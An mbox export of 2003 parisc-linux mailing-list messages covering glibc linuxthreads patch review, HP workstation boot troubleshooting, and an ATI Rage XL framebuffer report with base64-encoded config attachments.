X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19832

Ulrich,

> I've applied this patch, but only because I really don't care how the PA
> port looks.

I didn't think the patch was too ugly, but then again a father thinks
all his children are beautiful.

> The semtimedop definition is completely wrong.  If you want all
> syscall,s use appropriate headers.

Moot point. We know why it's there, because changes don't propagate
everywhere as fast as we'd like.

> You've modified the patch by hand and broke it, forcing me to do clean up.

Unforgivable. Please reject patches immediately if this happens again. 
I will produce a correct patch.

> The coding style is completely wrong and a terrible mess.  The coding
> standard document is available, read it.

Suggestions accepted. I will reread the document.
 
> The preprocessor directive indentation is wrong or non-existing.

Never non-existent. Incorrect yes.

Cheers,
Carlos.



From - Thu Nov 08 21:29:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: JjDunnjr@aol.com
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 715/75 malfunction
Date: Wed, 15 Oct 2003 10:56:02 EDT
Lines: 45
Approved: news@gmane.org
Message-ID: <6a.3690d764.2cbeba02@aol.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/alternative; boundary="part1_6a.3690d764.2cbeba02_boundary"
X-Trace: ger.gmane.org 1416622878 32679 80.91.229.3 (22 Nov 2014 02:21:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:18 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 15 08:56:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from imo-m07.mx.aol.com (imo-m07.mx.aol.com [64.12.136.162])
	by dsl2.external.hp.com (Postfix) with ESMTP id 432AF491D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Oct 2003 08:56:32 -0600 (MDT)
Original-Received: from JjDunnjr@aol.com
	by imo-m07.mx.aol.com (mail_out_v36_r1.1.) id n.6a.3690d764 (25098)
	 for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Oct 2003 10:56:03 -0400 (EDT)
X-Mailer: 8.0 for Windows sub 6803
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19833

--part1_6a.3690d764.2cbeba02_boundary
Content-Type: text/plain; charset="US-ASCII"
Content-Transfer-Encoding: 7bit

Gentlepersons:
I have a 715/75 workstation.  I have acquired a set of Debian CDs from an 
official source.
Just recently, but now without fail, the w/s won't boot.  The LEDs display 
the following messages:

within 2 seconds: 7-5-4-3-2-1

2 seconds later: 6-1

No messages on the monitor on any of the virtual consoles

Any advice as to which FRU is malfunctioning.
any advice or redirection of this inquiry is appreciated

jack dunn

--part1_6a.3690d764.2cbeba02_boundary
Content-Type: text/html; charset="US-ASCII"
Content-Transfer-Encoding: quoted-printable

<HTML><FONT FACE=3Darial,helvetica><FONT  SIZE=3D2 FAMILY=3D"SANSSERIF" FACE=
=3D"Arial" LANG=3D"0">Gentlepersons:<BR>
I have a 715/75 workstation.&nbsp; I have acquired a set of Debian CDs from=20=
an official source.<BR>
Just recently, but now without fail, the w/s won't boot.&nbsp; The LEDs disp=
lay the following messages:<BR>
<BR>
within 2 seconds: 7-5-4-3-2-1<BR>
<BR>
2 seconds later: 6-1<BR>
<BR>
No messages on the monitor on any of the virtual consoles<BR>
<BR>
Any advice as to which FRU is malfunctioning.<BR>
any advice or redirection of this inquiry is appreciated<BR>
<BR>
jack dunn</FONT></HTML>

--part1_6a.3690d764.2cbeba02_boundary--


From - Thu Nov 08 21:29:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] _STACK_GROWS_UP fixes.
Date: Wed, 15 Oct 2003 12:40:47 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20031015164047.GA31385__11911.8418232121$1416622878$gmane$org@systemhalted>
References: <20031012213734.GJ23999@systemhalted> <20031015053431.GE12344@sunsite.ms.mff.cuni.cz>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622878 32682 80.91.229.3 (22 Nov 2014 02:21:18 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:18 +0000 (UTC)
Cc: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
To: Jakub Jelinek <jakub@redhat.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 15 10:44:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from baldric (baldric.uwo.ca [129.100.10.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id 501F0491D
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Oct 2003 10:44:30 -0600 (MDT)
Original-Received: from carlos by baldric with local (Exim 3.35 #1 (Debian))
	id 1A9ohb-0008AW-00; Wed, 15 Oct 2003 12:40:47 -0400
Content-Disposition: inline
In-Reply-To: <20031015053431.GE12344@sunsite.ms.mff.cuni.cz>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (47% Sync Ratio [=====.....])
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19834

On Wed, Oct 15, 2003 at 07:34:31AM +0200, Jakub Jelinek wrote:
> On Sun, Oct 12, 2003 at 05:37:34PM -0400, Carlos O'Donell wrote:
> > 2003-10-06  Carlos O'Donell <carlos@baldric.uwo.ca>
> > 
> > 	* pthread.c (__pthread_self_stack): _STACK_GROWS_UP case added.
> > 	(__pthread_find_self): Likewise.
> > 	* manager.c (thread_segment): _STACK_GROWS_UP case added.
> 
> You need to look at linuxthreads/attr.c (__pthread_attr_getstack) too
> (the recent code which parses /proc/self/maps and finds stack VMA in there).

That should hopefully explain the regression in tst-attr1, I hadn't
tracked it down yet, but I knew that some other STACK_GROWS_UP problems
might exist.

Thanks Jakub.

c.



From - Thu Nov 08 21:29:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: [PATCH] linuxthreads for hppa (1/3)
Date: Wed, 15 Oct 2003 10:36:57 -0700
Organization: Red Hat, Inc.
Lines: 35
Approved: news@gmane.org
Message-ID: <3F8D85B9.8090504__47724.5698952631$1416622879$gmane$org@redhat.com>
References: <20031010204444.GF6454@systemhalted> <3F8CD774.4040400@redhat.com> <20031015054045.GE22495@systemhalted> <3F8CE195.2090106@redhat.com> <20031015142648.GF22495@systemhalted>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622879 32684 80.91.229.3 (22 Nov 2014 02:21:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:19 +0000 (UTC)
Cc: libc-alpha <libc-alpha@sources.redhat.com>,
	parisc-linux@lists.parisc-linux.org
To: "Carlos O'Donell" <carlos@baldric.uwo.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 15 11:37:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from myware.akkadia.org (cpe-24-221-190-179.ca.sprintbbd.net [24.221.190.179])
	by dsl2.external.hp.com (Postfix) with ESMTP id A64614892
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Oct 2003 11:37:23 -0600 (MDT)
Original-Received: from redhat.com (drepper@myware.akkadia.org [192.168.7.70])
	by myware.akkadia.org (8.12.10/8.12.10) with ESMTP id h9FHavdb013490
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Wed, 15 Oct 2003 10:37:00 -0700
User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.5) Gecko/20030925 Thunderbird/0.3
X-Accept-Language: en-us, en
In-Reply-To: <20031015142648.GF22495@systemhalted>
X-Enigmail-Version: 0.81.7.0
X-Enigmail-Supports: pgp-inline, pgp-mime
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19835

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Carlos O'Donell wrote:
> Ulrich,
> 
> 
>>- -# if __LT_SPINLOCK_INIT != 0
>>- -  __pthread_handles[0].h_lock = __LOCK_INITIALIZER;
>>- -  __pthread_handles[1].h_lock = __LOCK_INITIALIZER;
>>+# ifdef __LT_INITIALIZER_NOT_ZERO
>>+  __pthread_handles[0].h_lock = __LOCK_ALT_INITIALIZER;
>>+  __pthread_handles[1].h_lock = __LOCK_ALT_INITIALIZER;
>>
>>part is what I meant.  There is no reason to change the name.
> 
> 
> How do you propose it be handled? All arches define __LT_SPINLOCK_INIT

I'm talking about this __LOCK_INITIALIZER -> __LOCK_ALT_INITIALIZER
change.  Why do you claim the right to rename the symbol?

- -- 
- --------------.                        ,-.            444 Castro Street
Ulrich Drepper \    ,-----------------'   \ Mountain View, CA 94041 USA
Red Hat         `--' drepper at redhat.com `---------------------------
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.2 (GNU/Linux)

iD8DBQE/jYW52ijCOnn/RHQRAsmEAJ0cmMRxfMlyduuTG9TQMnATJVRJQQCgu/Vy
aL6qdcssSoUjY7D7oCnKXII=
=VzEk
-----END PGP SIGNATURE-----



From - Thu Nov 08 21:29:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Tomasz Hinzmann <hinzen@blah.pl>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] ATI rage xl and C360 (it works!)
Date: Wed, 15 Oct 2003 20:21:35 +0200 (CEST)
Lines: 190
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.10310151939440.181-102000@headcount.blah.pl>
References: <3F8A29A2000018C3@ocpmta1.freegates.net>
Reply-To: hinzen@blah.pl
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: MULTIPART/MIXED; BOUNDARY="57786536-2133366339-1066241952=:181"
X-Trace: ger.gmane.org 1416622879 32686 80.91.229.3 (22 Nov 2014 02:21:19 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:21:19 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Joel Soete <soete.joel@tiscali.be>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Oct 15 12:25:53 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mr3.ipartners.pl (mr3.ipartners.pl [157.25.5.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id 76E904892
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Oct 2003 12:25:52 -0600 (MDT)
Original-Received: from headcount.blah.pl (dial-0190.waw.ppp.coolnet.pl [217.8.170.191])
	by mr3.ipartners.pl with ESMTP id h9FIPX409377;
	Wed, 15 Oct 2003 20:25:34 +0200 (CEST)
Original-Received: from hinzen (helo=localhost)
	by headcount.blah.pl with local-esmtp (Exim 3.12 #1 (Debian))
	id 1A9qH9-00006l-00; Wed, 15 Oct 2003 20:21:35 +0200
In-Reply-To: <3F8A29A2000018C3@ocpmta1.freegates.net>
Content-ID: <Pine.LNX.4.10.10310152021160.181@headcount.blah.pl>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:19836

  This message is in MIME format.  The first part should be readable text,
  while the remaining parts are likely unreadable without MIME-aware tools.
  Send mail to mime@docserver.cac.washington.edu for more info.

--57786536-2133366339-1066241952=:181
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-ID: <Pine.LNX.4.10.10310152021161.181@headcount.blah.pl>


On Wed, 15 Oct 2003, Joel Soete wrote:

> Sorry but on the b180L on wich card is pluged in, i boot a kernel with module
> support and build the new atyfb module and when I modprobe it the system
> crash (without oops message :( ).
> The only message I got is:
> atyfb: using auxiliary register aperture
> atyfb: 3D RAGE (XL PCI-33MHz) [0x4752 rev 0x27] 8M WRAM, 14.31818 MHz XTAL,
> 230K
> 
> which seems more relevant then previous test (with original atyfb support).

Hi Joel,
this is what I read when I modprobe the driver:

...
bigmama:~# modprobe atyfb
atyfb: using auxiliary register aperture
atyfb: 3D RAGE (XL PCI-33MHz) [0x4752 rev 0x27] 8M WRAM, 14.31818 MHz XTAL, 230
MHz PLL, 83 Mhz MCLK, 63 Mhz XCLK
Console: switching to colour frame buffer device 80x30
fb0: ATY Mach64 frame buffer device on PCI
bigmama:~# 
...

I also run a kernel with the driver built-in and it behaves fine.

> Never the less, I would like very much that it works and so ask you the favor
> to send me your .config file to be sure I do not lost anything :) (btw with
> your XF86Config-4 :) )

Please find both configs attached; I hope they'll be helpful.

Thanks,
t.

-- 
hinzen@blah.pl

--57786536-2133366339-1066241952=:181
Content-Type: APPLICATION/OCTET-STREAM; NAME="XF86Config-4.gz"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.10.10310152019120.181@headcount.blah.pl>
Content-Description: XFConfig-4.gz
Content-Disposition: ATTACHMENT; FILENAME="XF86Config-4.gz"

H4sICOxxjT8AA1hGODZDb25maWctNACtV1tzmzgUfsa/4gx+2O00xmBzs192
Wl9qT5s0W2ezeRUg2xpjxIBw7Pz6PQIMOMVN29nM4EE6F33fd44k0u124ePs
0/IOprOPk693c1jNJg/Lr3edLjzNXXvCozXb9Ez482meUOrakNLkQBPwc0OW
EMF4BGsW0newoRHFCRqAd4KAHqXPDYgtxWRT6jESwRNMLgIF5+ENZCmLNnAg
YUZTWCd8L4MwgyczQEAE8UhKtU4XE80CJtDM0nxReGZiCz7JZLYbIFGAAGke
fgF/T6KMhBCTjUwDfz6cYgrqXiJquKlARB6bbmmI3ogkFtq7fN3lGk48g2cS
CfmCCmxJtEG8gjfgxAnNBbqUgEfhCSHs6DkI83l0zZMCqdq9VgUVQhZRIB4/
0JxdnydA1gILUMiah87uplcCPRry50K3B14uLtFGmzRXjkUXSqfUL3RMssLg
8z1qFIwxHiCId5teQs+Vp3AseqF3XOetgU4khYRzoQF8CFOel0Jd8GcIOCyB
BAH4WSqwvOVCuXjkrFOv6p+L5gOkfFFLKfRfKiD2fpYm/XRLEtoPuN8vcfQk
ah715x/+1jYvWqezKlYDdY6RqdpRunMeiXsitooq/LhvjAaaYbvaUDMMZ+wY
uq4qitKFkPvYM2v0LbseI4Gtc2W+s8EWyWPHeCHdpzfwjOJhd60J9pFH/B3w
XNGUdpR68Rx/yLz+k2H0Za60v2epr77h458SFobsTT8kEsSsP86iFMHS4C1/
x/old7mHjLecVjGlAf85pD+FT+3MoqCsaKO0tzzIQooZvnASKOqnLz7urmro
MbEncTUMvNoUBH79nrDqnR7FngfVULaWQMLVxCY8Vu8sEoZejWJ6tKqB3C9J
nSY9y1EMRSlhMTo0YB0ZvcJ0GcWZmNID86X3MqCRYGtGEyQt9w/z4TM9eZzk
q04Thr2pKOqunvsay0Q4N0GJPrfMP+28b5ncKQij2FKvrCg2DdEa+4ZuvrJ9
IXg6CjRm6S8TON8NeHze8iylTQL7cuIC/T1H6WnSnC4T41s/oId+nJLs2LTf
J1xwn4fS437VH/y2ym8jXNEokChnB4yWaookoz/AyuSaeAL49Brg5f4HkH+I
9pEFlMPkVVesPVy3udg/KZ1/xERysQLtld0WMcGTq8qcrQuesJfVKfKVod4z
hnpHeaSJ+Eaxq9KtYuGcrTf1uL9dqZ2OIvsLVNvUj6Yu9xUAfkCMYWBphuXA
7eLlBhZjGBqaadqwk8PHMdgjzXVGsHiR/lMuJnhE74oYV04tHtg+v/gwL9i2
CY6tg6vr0vZ4tuF6+IzANAwwrdw2Dwka8E/tLSQVFV8eixeQwP4lSYSxYzh/
IQWcptEfeC9kccwTAcT3adhRUEjJ68zO0Afm0bHdnF5J0HE1xxpWBG1d0wdW
RdCxNH1oSIIyII+qaOaRZm2oyMpl8AcpG8bQBmNoDGqvijbiwGcEjjPIJak8
avLvz+TfF+S/J2RYg6Nr43lQReekRoY2Gug1KbxrdbdZteHIaieVRxptpHAp
MAaYBjnhj+nqLaQQCz4WuA4+I6uN1P9b0YGrH6XerxUwhqbmurUEzkgb6Y26
mtrIctslKEJbNcDVpBmra1pYWNt1WzQoy49dhD+olG7bP1Pc39Oh9ahY+Rgb
vToppnRNslBAZSzOLuXKeVUeKErbEVOmmtIYvxoGZkdZZV59JLI0DskJ3ZTC
Iffo5gVLMV19xNRzjY1Zz1W93XSs6y0lqNe9IkT+mVhej+1yVMZCF6VFqMa9
1HrhX9i/v0+77QlKaxN3txbx21LylrQV7B/8zr/wa/8HpPMfpgxpvloOAAA=
--57786536-2133366339-1066241952=:181
Content-Type: APPLICATION/OCTET-STREAM; NAME="config-2.4.22-pa12.gz"
Content-Transfer-Encoding: BASE64
Content-ID: <Pine.LNX.4.10.10310152019121.181@headcount.blah.pl>
Content-Description: config-2.4.22-pa12.gz
Content-Disposition: ATTACHMENT; FILENAME="config-2.4.22-pa12.gz"

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
